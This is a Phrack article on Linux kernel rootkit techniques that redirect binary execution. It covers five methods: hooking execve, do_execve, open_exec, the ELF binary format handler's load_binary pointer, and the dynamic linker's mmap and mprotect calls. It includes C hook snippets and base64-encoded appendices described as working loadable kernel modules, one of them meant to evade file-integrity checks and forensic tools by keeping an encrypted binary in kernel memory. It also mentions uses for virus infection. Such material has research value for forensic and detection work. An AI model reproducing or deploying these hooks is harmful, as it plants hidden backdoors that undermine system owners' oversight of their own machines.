490 lines
21 KiB
Plaintext
490 lines
21 KiB
Plaintext
==Phrack Inc.==
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Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12
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|=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=|
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|=-----------------------------------------------------------------------=|
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|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|
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--[ Contents
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1 - Introduction
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2 - Execution Redirection
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3 - Short Stories
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3.1 - The Classic
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3.2 - The Obvious
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3.3 - The Waiter
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3.4 - The Nexus
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3.5 - The Lord
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4 - Conclusion
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5 - Reference
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Appendix A: stories.tgz.uu
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Appendix B: fluc.c.gz.uu
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--[ 1 - Introduction
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"Oedipus: What is the rite of purification? How shall it be done?
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Creon: By banishing a man, or expiation of blood by blood ..."
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- Sophocles, Oedipus the King
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What once was said cannot be banished. Expiation of the wrongs that
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inspire peoples thinking and opinion may change.
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I concern again on kernel hacking, not on literature. Especially in this
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field many, many ideas need to be expiated as useless. That does not mean
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they do not allow to solve particular problems. It means the problems which
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can be solved are not those which were aimed to be solved.
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--[ 2 - Execution Redirection
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If a binary is requested to be executed, you are redirecting execution
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when you execute another binary. The user will stay unnotified of the
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change. Some kernel modules implement this feature as it can be used to
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replace a file but only when executed. The real binary will remain
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unmodified.
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Since no file is modified, tamper detection systems as [1] or [2] cannot
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percept such a backdoor. On the other hand, execution redirection is used
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in honeypot scenarios to fool attackers.
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Even after years of active kernel development, the loadable kernel
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modules (lkm) implementing execution redirection use merely the same
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technique. As this makes it easy for some admins to percept a backdoor
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faster, others still are not aware of the danger. However, the real danger
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was not yet presented.
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--[ 3 - Short Stories
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I will show five different approaches how execution can be redirected.
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Appendix A contains working example code to illustrate them. The examples
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do work but are not really capable to be used in the wild. You get the
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idea.
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In order to understand the sourcecodes provided it is helpful to read [4]
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or [5].
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The example code just show how this techniques can be used in a lkm.
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Further, I implemented them only for Linux. These techniques are not
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limited to Linux. With minor (and in a few cases major) modifications most
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can be ported to any UNIX.
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--[ 3.1 - The Classic
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Only for completeness, the classic. Redirection is achieved by replacing
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the system call handling execution. See classic.c from appendix A. There is
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nothing much to say about this one; it is used by [3] and explained in [6].
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It might be detected by checking the address pointed to in the system call
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table.
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--[ 3.2 - The Obvious
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Since the system call is architecture dependent, there is a underlying
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layer handling the execution. The kernel sourcecode represents it in
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do_execve (~/fs/exec.c). The execve system call can be understood as a
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wrapper to do_execve. We will replace do_execve:
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n_do_execve (char *file, char **arvp, char **envp, \
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struct pt_regs *regs)
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...
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if (!strcmp (file, O_REDIR_PATH)) {
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file = strdup (N_REDIR_PATH);
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}
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restore_do_execve ();
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ret = do_execve (file, arvp, envp, regs);
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redirect_do_execve ();
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...
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To actually redirect the execution we replace do_execve and replace the
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filename on demand. It is obviously the same approach as wrapping the
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execve system call. For a implementation see obvious.c in appendix A. No
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lkm using this technique is known to me.
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Detecting this one is not as easy as detecting the classic and depends on
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the technique used to replace it. (Checking for a jump instruction right at
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function begin is certainly a good idea).
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--[ 3.3 - The Waiter
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Upon execution, the binary has to be opened for reading. The kernel gives
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a dedicated function for this task, open_exec. It will open the binary file
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and do some sanity checks.
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As open_exec needs the complete path to the binary to open it this is
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again easy going. We just replace the filename on demand and call the
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original function. open_exec is called from within do_execve.
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To the waiter the same applies as to the obvious. Detection is possible
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but not trivial.
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--[ 3.4 - The Nexus
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After the binary file is opened, its ready to be read, right? Before it
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is done, the according binary format handler is searched. The handler
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processes the binary. Normally, this ends in the start of a new process.
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A binary format handler is defined as following (see ~/include/linux/
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binfmts.h):
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/*
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* This structure defines the functions that are
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* used to load the binary formats that linux
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* accepts.
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*/
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struct linux_binfmt {
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struct linux_binfmt * next;
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struct module *module;
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int (*load_binary)(struct linux_binprm *, \
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struct pt_regs * regs);
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int (*load_shlib)(struct file *);
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int (*core_dump)(long signr, struct pt_regs * regs, \
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struct file * file);
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unsigned long min_coredump; /* minimal dump size */
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};
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Binary format handlers provide three pointers to functions. One for
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loading libraries, another for producing core dump files, the third for
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loading binaries (pfff ...). We replace this pointer.
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Our new load_binary function looks as follows:
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int new_load_binary (struct linux_binprm *bin, \
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struct pt_regs *regs) {
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int ret;
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if (!strcmp (bin->filename, O_REDIR_PATH)) {
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/*
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* if a binary, subject to redirection, is about
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* to be executed just close the file
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* descriptor and open a new file. do not
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* forget resetup.
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*/
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filp_close (bin->file, 0);
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bin->file = open_exec (N_REDIR_PATH);
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prepare_binprm (bin);
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goto out;
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}
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out:
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return old_load_binary (bin, regs);
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}
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But how can we get the binary handlers? They are not exported, if not
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loaded as module. A possibility is executing and watching a binary of all
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available binary formats. Since the task structure inside the kernel
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carries a pointer to the handler for its binary it is possible to collect
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the pointers. (The handlers form a linked list - it is not really needed to
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execute one binary of each type; theoretically at least).
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The reference implementation, nexus.c in appendix A, fetches the first
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binary handler it gets its hands on. This is reasonable since virtually all
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linux distributors use homogeneous ELF based user land. What is more, it
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is very unlikely that the binary format of system binaries change.
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As used by nexus.c, one way of fetching binary handlers. Note that we do
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replace a system call but we restore it immediatly after we got our binary
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handler. This opens a very small time window where the replaced system call
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might be detected (if tried at all). Of course, we could have fetched the
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pointer directly in init_module. In other words: the time window is
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arbitrary small.
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int n_open (char *file, int flags) {
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int ret = o_open (file, flags);
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/*
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* ... get one. be sure to save (and restore)
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* the original pointer. having binary hand-
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* lers pointing to nirvana is no fun.
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*/
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elf_bin = current->binfmt;
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old_load_binary = elf_bin->load_binary;
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elf_bin->load_binary = &new_load_binary;
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/*
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* and restore the system call.
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*/
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sys_call_table[__NR_open] = o_open;
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return ret;
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}
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An evil attack would of course replace the core_dump pointer, too.
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Otherways it may be possible to detect redirection of execution by letting
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each process, right after creation, coredump. Then one may check properties
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of the dump and if they match, or not, execution may be reinitalized, or
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not, respectively. I do not recomment this method to detect redirection,
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though.
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An evil virus could wrap the load_binary function for infecting all
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binaries executed in memory.
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Even replaced pointers are hard to check if you do not know where they
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are. If we have a recent System.map file, we can walk the list of binary
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handlers since we can look up the address of the root entry ("formats" as
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defined in ~/fs/exec.c) and the handler functions. In other cases we might
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be out of luck. One might try to collect the unmodified addresses himself
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to be able to check them later one. Not a good idea ...
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--[ 3.5 - The Lord
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What about not redirecting execution at execution time? Where is the
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logic in not redirecting execution flow when it is exactly what we are
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doing here?
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When ELF binaries are executed, the kernel invokes a dynamic linker. It
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does necessary setup work as loading shared libraries and relocating them.
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We will try to make an advantage of this.
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Between execution of a binary at system level and the start of the
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execution at user level is a gap where the setup described above is done.
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And as loading of libraries involves mmap'ing and mprotect'ing we already
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know where we can start. We will just look at these system calls. Shared
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libraries are loaded to the same (static) address (which might differ from
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system to system). If a certain address is to be mapped or mprotect'ed by a
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certain process we restart the execution, with our binary. At this point of
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execution, the process calling mmap or mprotect is the dynamic linker.
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That is was the example implementation in appendix A, lord.c, does.
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Note that we can, of course, look for an arbitrary runtime pattern, there
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is no need for sticking to mmap or mprotect system calls. It is only of
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importance to start the new binary before the user can percept what is
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going on.
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Note, too, that this technique may be used to execute a binary in before
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and afterwards of the binary requested to be executed. That might be useful
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to modify the system enviroment.
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And finally note that we are not forced to sticking to a distinct runtime
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pattern. We may change at will the pattern triggering a redirection. I am
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really curious what people will do to detect execution redirection achieved
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with this method as it is not sufficient to check for one or two replaced
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pointers. It is even not sufficient to do execution path analysis as the
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path can be different for each execution. And it is not enough to search
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the filesystems for hidden files (which might indicate that, too, execution
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redirection is going on). Why is it not enough? See appendix B. All employed
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methods for forensical analysis of execution redirection defeated in one
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module? We could make the decision from/to where and when (and whoms)
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execution shall be redirected dependant on an arbitrary state or pattern.
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This is another handy entry point for an infector.
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--[ 4 - Conclusion
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We can take complete control of binary execution. There are many ways to
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redirect execution, some are easier to detect than others. It has to be
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asserted that it is not sufficient to check for one or two replaced pointer
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to get evidence if a system has been backdoored. Even if a system call has
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not been replaced (not even redirected at all) execution redirection can
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happen.
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One might now argue it is possible to search the binary redirected to. It
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has to be physically present on the harddisk. Programs have been developed
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to compare the content of a harddisk to the filesystem content shown in
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user land. Therefore it would be possible to detect even hidden files, as
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there might be, if a kernel backdoor is in use. That is completely wrong.
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Most obviously we would keep the binary totally in kernel memory. If our
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binary needs to be executed, we write it to disk and execute. When
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finished, we unlink it. Of course, it is also possible to copy the binary
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just "in place" when it is to be executed. Finally, to prevent pattern
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matching in kernel memory, we encrypt the data. A approach to this method
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is shown in appendix B. Under linux we can abuse the proc filesystem for
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this purpose, too.
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As long as forensic tools work on with a closed world assumption it will
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be still possible to evade them. Checking for replaced pointers does not
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help unless you check all, not only those "believed to be" important
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(letting alone that pointer checking cannot prove if a function is
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redirected or not). Developers might better invest their time to develop
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tools checking possible execution paths. Anomaly detection of kernel
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behaviour is a more reliable forensical analysis method than pattern
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matching.
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--[ 5 - Reference
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[1] Tripwire
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http://www.tripwire.com
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[2] Aide
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http://www.cs.tut.fi/~rammer/aide.html
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[3] knark
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http://www.packetstormsecurity.com/UNIX/penetration/rootkits/
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knark-0.59.tar.gz
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[4] kernel function hijacking
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http://www.big.net.au/~silvio/kernel-hijack.txt
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[5] Linux x86 kernel function hooking emulation
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http://www.phrack.org/show.php?p=58&a=8
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[6] LKM - Loadable Linux Kernel Modules
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http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html
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--[ Appendix A: stories.tgz.uu
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<++> ./stories.tgz.uu
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begin-base64 644 stories.tgz
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|
B54weYAdFzxwODPqAowxYIBiCsvBnPnid4CdF2DyfnYQl2Cksbsuwkg7ldL6
|
|
/RYhU3ondo++3CwzoOxJFPv4zFdIBXgMmsQwmCdW5MkR+c/riXY2GZ2cDmQb
|
|
byHCkfIylIMjn8l0Ky+cEWYWY2IXDo5M24IkReUOLCkZBJqMrtl8AzyZyE1u
|
|
7/zqmDLCf9Ea9APOf9XOYSu+/9HB+la7U+C/70N8O8EVCWZ6tJjI5BxqSqU4
|
|
8b6dIySs1Cj+cqSKO4Cf5AHF8unTvnyt0egdE+T1vFhIl8tfpjP8KJVqy/hX
|
|
Ndn/Si6YXD1aJU9JC39svuMTfpnk0aSy2kiYbWYHLCQVWBLVOlnxstX+Pm+K
|
|
oK9yx40jd+QPsoLH06fCrOW7O1wEKDz6G0YUKWNBBRVUUEEFFVRQQQUVVFBB
|
|
BRVUUEE/Ef0XupwxUgBQAAA=
|
|
====
|
|
<-->
|
|
|
|
|
|
--[ Appendix B: fluc.c.gz.uu
|
|
|
|
<++> ./fluc.c.gz.uu
|
|
begin-base64 644 fluc.c.gz.uu
|
|
H4sICDFK+jwCA2ZsdWMuYwDtXHlv3DYW/zvzKRgXWIyNsT26Z+ptAKNxWyOp
|
|
HfhAttsWAx2UrY1Gmo40cbzdfPflIynxEDWjeGvsYneNCBqSjz++i4+HyBwf
|
|
jNABenv+7dnF9dnX8Lu+zyqUZjlGy/ARRRjF5SrDCSrXKNms8iwOa5LKChQW
|
|
jygt18sJSUDFh/uSVCJkpGwVrusJWpZJlvK6RUkywgrlZXEHb2gGahH0x3V2
|
|
d18DRRZjRFpfrfEKFwmpeHvx4+Xr8+/Oz14fEWKgvwH24jLhhGWZIvIvLosY
|
|
r+ojUoxRuKnvSYtxCDwmaLmpaqhJ8EGcZUjqrnG1KosqiwjHRAaQBcSI802S
|
|
Ef6iDWUH5dkyI9JStZSUIEtwUYc5SETarPBvG5LOSEYSLsM7PCHvOiRCVhUh
|
|
gXoVXn8EscpNTcoZgxL7HzMQc+/0Gp1f71F235/f/HB5ewN1Ty9+Qu9Pr67O
|
|
Lm5+OkK312fo/Aad3qCfLm/R5fsLdHV+/abRCzUbYBLNg0Zq0s67+3UYf0Dj
|
|
h4eHoxX9fVSu7/YRIcniHFNznyYfQ6K7Cqz2Bq8LnKMfCCFo4fwcRY8EMF/i
|
|
dYWOUY2rklQ5Ho2+SnCaFRgtFm/Ori7O3i4WbRax1+3bs9FXTJkY/TnPis2n
|
|
Y+IKmxwf3b/qlFT1mjRmLMnDyJS/XJpy08qYm+mthtXyeFNkVZ0Y8sOYqIIC
|
|
iZI9wiHx/KN4Twj+7eXrs+vzv56hYFTVIdEmiu/DNYK/cnFPzJjj9c/Bryed
|
|
0qIt/RV9g/Z++RTNfvk0napPmv7yCU/3Tkajj2WWIOmPWC0sNqsFU+d4n5AQ
|
|
7jYx8eysWKxxkq3R7yNK2bTI/g7KxSqs7ycj1P07KGjZyeizlk/xSBMaFm0L
|
|
/BxkeHF8gH7AeV6i9+U6T16CfwANES0gYrgeeWLy+EQ0S3qm2569BoImbf52
|
|
+Fur7pNnBmUueYg2HbcLQR6bF/e1yqoRuibPVyBsXtUK+XvekJlhNEEgezZV
|
|
mZTTscZN3KMLT2Pc1dKO5klmXaRa63ra0mAspwNhbN3aljZD8EduXU+ndtOU
|
|
AiGye3QDjHe4MepChoH03FV1I6ensYCwNPeS5fW3cSMgbI1spglC0nNPar1N
|
|
CwhwH82x9XSHG7NfdAw604Qi6Zklc9NCyNm2Jreenpr7iN66TeKHT2KHT7qa
|
|
b0tpQmcnUhluIQKimgA4wORNnNhP2W/H7hfS6vFOzZndgDwEyvN6YohtdnDd
|
|
wN62HqsYVSELtnd0YeCt3azzWCZud0O4O4T6Qi4GDALS44WaAV11AIBxxwBh
|
|
a5awNdltDSYKzeOIBuPOugOADBO7RkEs3S8iDVaBEeOIsx2mA2tW50yLB7pQ
|
|
zlxNY6jjqj11ZuhKjUoxewfTJ/mFbcgTgaCF8B1DR/dFy4HdxAfym3Dq8zIv
|
|
bSG8lMFAzPAtnvZFNchrWg6IP/ieGcJlRbRF8vYDXsXhLfOyBp7SWUKQhJHQ
|
|
4qZlnwnFWiP+QPLdlP1uYYVFmmq02OM68RhnDYSnxVMQXBKkRbUYg/CbVkm4
|
|
HngTMhwTWHAxSG6TwAJCk5uSBLxKKgnZ4VaxiJdKUTvm6iNkrsPKYECg/mLx
|
|
t6N4585qxgHAPLLbw6axIiSbZ7/WlplNfzcDNVlcy9N5d/wQsbJ/isKzqaEA
|
|
IumObrNoUARPY20246sjG9bLA+NcK53qZOo4S6dsXid2UjIpfqYzA4wU0WCk
|
|
nxGBsXBwiMjAJAw5Hvw2LCi8iM2GYoc1YXXHVKg216pBnh2ogkLezDZOXaGV
|
|
eM5a0deODmEcu6pwkG8LQbAuu2EJantdi/iz3giO52ycgKryAzCqxURnn3Vb
|
|
B5ikD8Y1zn4BxjJwE/fBUOE7oxmFMXATaTBPnOVAqMGk73iYu5UF/iQs4jI1
|
|
efCAe9mMo5gOvSqXScz9QlWnByOYz0h8rRoYPHI0fbiMk1QsdYXPf6mzCwht
|
|
GgKxAaCsWFvyeUw4iOLQe1MxFCWagzMmWZ/Z9nhST9WEoEsX8tvh0Ut3fhg0
|
|
HWIZHLUQIERo8aglqXKWMCGnXH2Wp9MILiLRnUAoIxxwJXEBjhAJCH1aqqgt
|
|
YWWxy4zp8zmZoY+A8cADZfvHgZi6K/qwzJPGOVOllzCr4IhxsN0qLYTZYD2W
|
|
UpoS6iTJyLCw7oOBzTW2Ouh0dlmNYOhWjbyLUZ345sCnhVZQbQJdCwvV6roC
|
|
zqUpis2FoALFPPAPEkp1cK2FYbpR/EJ3H/A+PW4kli6ciFoyB7yXDhOqd0yN
|
|
ItZXZBU3PTcxjyPAFO0PMe9yjuhyVECHdTsKE3F6Op6IqBX1GG2npbbGzq4z
|
|
myyljuxPCsEtBLQA5JY0j5jzuUQSqIZUJhE9e3yWOtOD5S5dWMT8Sdl6zYM5
|
|
urSYsKW9GoAIn7TsT+Lt0xTzfsbOvZypNhSp4ylENaMu9KG4s2GlbI8JCM/Q
|
|
mqXNgmWDtuXqdpCmws7iOhq0r2V5O1To6Et/EcFlS9jb1+yWeY/P0pcxWneK
|
|
NEtY5qEocjUy0zaqsoFt9guNTO4b4NgzrRlpiiKT6e6VTtVy6AyG6dozbI39
|
|
+yH0+bZpYSGefi5mQzu+uk4N1cmSraUdLe2GxsmBqSW6JeCwB2Bs3uHZvrAy
|
|
CNhzVtzuFszZmqzZaGjKYBfB4SsDZ6rs8dEsT7QCwR9GLHi7vIkuZwKiw+BQ
|
|
zgREh8GhnHWMul11Js4EF4NUZ+JMWGSQ6v5v1P8Oo+6aJFjGkNO02uztOda2
|
|
8aQ/allDYVWI2Zd9pWFQYjExiOn/cV1MxbeCYM62k5vtY1/doGvJXLEPLsik
|
|
Tw4znU7sa2nkylcIviceSFzRDf9UheD9w7X4DvScffRsuQmk6vzrBeNK/eiF
|
|
2Rw8aDiQ5O8td5VpfEsWcBLOGayMWmEcLmTafCNQ1PklVZvPCrpFbLHu0Jlu
|
|
raLRBAICsgK3axH6tULKD6Y6rdBFY7yZBuWrcAo3qfqVxhIGlLVvzPeYYdm3
|
|
E3VhJX1CMRmxLZ+zjzyaIH7z6SQVFlBg+srEbryfampzmMNT95GrdPIULvzm
|
|
8xIXpukj3X4hhP2Pnv32PVY0bJ1qd4/v6Od0hpzL+aKv/r0QtrPjDILdG8HV
|
|
QyLaSZknqtPdtb1uhvC2n8foWbPbGtOOO5QblYsd1ZzAtIbf6ReetoMAaZnb
|
|
2XSYLqxB53L0TytOuuMsit27lyMznWhMz72n+cWO04RusHOdStfwmop71ux0
|
|
ZLK3fIYd6Bf2dq/0XNPGhLL5YGJa36+YuSqN84f6ReeIhu4H80F+oe/lRBrT
|
|
nRmh+7R4MdMPlJgh5tstE5k/vUG2TGrv4iYaFi80pgNv2Djib9/fTHRuvaeN
|
|
I8P8Ioh2uJffqwt5r4a+JRfz/qBxxNVPom7fB+9RsXoKWcxytPjoD4hYPecv
|
|
tpHr57kG+oW+oR1r+rDi5/SLWTzkMKJ5HHE1Z5aZ9p9lfjF3h/mF4QS24cOw
|
|
furYeuK8cxfT4TC/cLq6UHZfXW2QcJ/TL0J3x+Flp3feqR+VlpnunIn2/pBx
|
|
JEye5Bc9XzKTaff89zP4ReQ+yS8STcVJ57T6c/pFFA1VsXrYSvuWjDUV288z
|
|
jsQDxxHDYCDOHagQ/r++Tt0x9MS+ydl3xwvtsITOrfWsfhFHQ1cEu7mQmE7s
|
|
Z1mPJD2xM3iSUSmTEtPB7Fn8wjJ2tS82KnxukwVNwufbv4Drc0Puz42OlfuT
|
|
1WO12BR5VnyYoGWYFfkjOjo6otces6IeJTjHNV7AtcIxvRZ3kBbhEu+P2K07
|
|
QqJcocPrdblG36DpifFSHlQlpRe3b98yAn6ZDy6Zrh8JAf9hIIGqGb1sWiRE
|
|
Cnq3kKEt2H3FMWOMl2UpGsMlv0VWZPUYSibo7eXlm9t3i3encMF0gv5UJPv7
|
|
oxcNy5T6Icw/cGoolsAoGSG/K+sS4U9Zzcua6odn59evz69O2gpFcpSHVb2o
|
|
H1cYvfwGvT29vllcXF79KINYHCUpH4oxafGIKeDwVUIYLxN8+CpbVHi5z2Bb
|
|
7eRl+YFY9T6s7mktaGiC2uqcvGHt3c3V4uzqatwWtjy+PL+WS/bR76MXEu9H
|
|
oImfm0SOi18J71C35d8+EQr8mDaeNO4KMkFq64hV/3r0Illt6rHC92dGQky6
|
|
VSMjhmF9Tamp+dbEW8MKj1vbAQEv39QgzZg7CWStcb1ZF0xNJ6PPvPuMHtYZ
|
|
8fgoK0wOz72R3hdnV0ZrBrZcErbuloTZBe0SacUlTSuimztcL9JqzBuuWIrf
|
|
JX593SiFgBFagr1alCtcMI+eoMvFt1dnp8RjrxfnV+//cov+wX993/665Mhh
|
|
XS6zmGgqHv+JoB2+ShdxuSnq/RO4t/q3TVUjYrmQhomHcF3AtWe44MxbB/py
|
|
dfiKqmBMMibt3dcJqrK/4zIdNxn7pIvwKquyUiVLm3QKxiVUTRJEi/Oy4uDT
|
|
faZ3PU6M7nCxoNKPG8VzYzWdfe9ovSkO43VZVEfZJXbe/7bHsXQLjQqqzAX+
|
|
hOPGoqRsq0FpCcRJmgUBkdBlec5CI808Fp2IQMRLEn8IxATRO8SHr9j1Y9Gj
|
|
eDa7eYy+YQGOljLhlFIkiX/CKIRTKrRQ/Hn0gnIvIqFOQjsVwnmFUZeXlxIv
|
|
crTvtPMhXWNDts67iNy8Hy/xMl49jlsjTMSV8Ul7sVx0SQIh7EUtddIDUxhh
|
|
ZG+hxgSngKEMRoJ2IGzGL6IOJhJp9sMyzPMyHnNH1y+aE4f//rt3/H8AIJZt
|
|
jAgqoK0dWo0QkgvArffjerk6zqs9pVhTGC06GNP/LuJgn4w+7cV5C27O04J9
|
|
JPmyqhWhCklBmnKHalBS4FSKi/pcgqtwqHk/j/4JM0vxWXxDAAA=
|
|
====
|
|
<-->
|
|
|
|
EOF
|